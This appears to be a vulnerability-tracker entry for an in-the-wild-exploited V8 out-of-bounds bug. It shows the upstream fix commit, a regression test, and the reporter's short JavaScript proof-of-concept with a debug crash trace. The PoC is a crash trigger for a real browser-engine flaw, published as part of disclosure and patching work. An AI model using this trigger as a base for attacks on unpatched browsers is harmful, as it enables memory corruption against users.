High chrome OOB ⚠️ Exploited in the wild 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
CVSS
Yes
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds memory access in V8
DescriptionOut of bounds memory access in V8
ComponentV8
Bug ClassOOB
Tracker506689381
Fix commit3c869652b039 (v8/v8) +21/-0
CISA KEVNot listed
Credited303f06e3
Disclosed2026-06-08

Changed Functions

FunctionChangeNotes
C
test/mjsunit/regress/regress-crbug-506689381.js
modified

Files Changed

  • src/objects/js-objects.cc
  • test/mjsunit/regress/regress-crbug-506689381.js
From 3c869652b039fc1fc9fbe035c6af879317e8b9f3 Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Mon, 04 May 2026 12:27:58 +0200
Subject: [PATCH] [objects] Abort TryFastAddDataProperty if map becomes slow

When class fields are added to a constructor-created function object
when the class extends Function, TryFastAddDataProperty is invoked
to perform a fast transition. However, Map::PrepareForDataProperty may
instead normalize the map and return a slow dictionary map.

This CL fixes the issue by aborting the fast transition in
TryFastAddDataProperty and returning false if
Map::PrepareForDataProperty returns a dictionary map, falling back
to the standard slow property addition path.

TAG=agy
CONV=7233c224-ccbc-421c-88b3-34be1f425294

Change-Id: If323afa0297782cd7a13efb02368e0dfdec00707
Fixed: 506689381
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7807043
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Reviewed-by: Igor Sheludko <ishell@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#107009}
---

diff --git a/src/objects/js-objects.cc b/src/objects/js-objects.cc
index 876ad24..2d37866 100644
--- a/src/objects/js-objects.cc
+++ b/src/objects/js-objects.cc
@@ -3704,6 +3704,7 @@
   InternalIndex descriptor = new_map->LastAdded();
   new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor,
                                         PropertyConstness::kConst, value);
+  if (new_map->is_dictionary_map()) return false;
   JSObject::MigrateToMap(isolate, object, new_map);
   // TODO(leszeks): Avoid re-loading the property details, which we already
   // loaded in PrepareForDataProperty.
diff --git a/test/mjsunit/regress/regress-crbug-506689381.js b/test/mjsunit/regress/regress-crbug-506689381.js
new file mode 100644
index 0000000..6ba2dc8
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-506689381.js
@@ -0,0 +1,20 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+let key = 'AA';
+let value = 2;
+class C extends Function {
+  [key] = value;
+}
+
+// First object creation triggers transition MapA----(AA, kData, SMI)--->MapB
+let o1 = new C('\'use strict\'');
+
+value = 1.1;
+
+// Second object creation triggers TryFastAddDataProperty() which reconfigures
+// the property from Smi to Double. This reconfigures MapB in-place (or
+// normalizes it). TryFastAddDataProperty must not crash if the map is
+// normalized during preparation.
+let o2 = new C('\'use strict\'');
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/regress-crbug-506689381.js b/test/mjsunit/regress/regress-crbug-506689381.js
new file mode 100644
index 0000000..6ba2dc8
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-506689381.js
@@ -0,0 +1,20 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+let key = 'AA';
+let value = 2;
+class C extends Function {
+  [key] = value;
+}
+
+// First object creation triggers transition MapA----(AA, kData, SMI)--->MapB
+let o1 = new C('\'use strict\'');
+
+value = 1.1;
+
+// Second object creation triggers TryFastAddDataProperty() which reconfigures
+// the property from Smi to Double. This reconfigures MapB in-place (or
+// normalizes it). TryFastAddDataProperty must not crash if the map is
+// normalized during preparation.
+let o2 = new C('\'use strict\'');
Loading diff…

Original Bug Report

reported by hu...@gmail.com

V8 TryFastAddDataProperty descriptor-array OOB access

REPRODUCE

poc.js:

let key = "AA";
let value = 2;
class C extends Function {
    [key] = value;
}
for (let i = 0; i < 5; i++) {
    function f() {
        value = +f;
    }
    new C("'use strict'");
    f();
}

V8 must be built with a debug configuration. Execute v8 as follows:

../x64.debug/d8 \
    ./poc.js

This will result in the following crash:

#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 282
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (3 vs. 0).
#
#
#
#FailureMessage Object: 0x7fffffffb088
==== C stack trace ===============================

    ../x64.debug/d8(v8::base::debug::StackTrace::StackTrace()+0x29) [0x555565fedbe9]
    ../x64.debug/d8(+0x10a94acd) [0x555565fe8acd]
    ../x64.debug/d8(v8::base::PrintStackTraceIfAvailable()+0x14) [0x555565fc3444]
    ../x64.debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x555565fc3bf9]
    ../x64.debug/d8(+0x10a6f4bc) [0x555565fc34bc]
    ../x64.debug/d8(V8_Dcheck(char const*, int, char const*)+0x4d) [0x555565fc3cfd]
    ../x64.debug/d8(v8::internal::DescriptorArray::GetDetails(v8::internal::InternalIndex)+0x67) [0x55555f5e5857]
    ../x64.debug/d8(+0xb0757a4) [0x5555605c97a4]
    ../x64.debug/d8(v8::internal::JSObject::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSObject>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x7d) [0x5555605b733d]
    ../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSReceiver>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0xd8) [0x5555605ad5f8]
    ../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x146) [0x5555605b72a6]
    ../x64.debug/d8(v8::internal::Runtime::DefineObjectOwnProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::StoreOrigin)+0x58a) [0x555560aea4ba]
    ../x64.debug/d8(+0xb59a851) [0x555560aee851]
    ../x64.debug/d8(v8::internal::Runtime_DefineObjectOwnProperty(int, unsigned long*, v8::internal::Isolate*)+0x129) [0x555560aee669]
    ../x64.debug/d8(+0xfa73d3d) [0x555564fc7d3d]

CREDIT INFORMATION

Reporter credit: [303f06e3]

View on issue tracker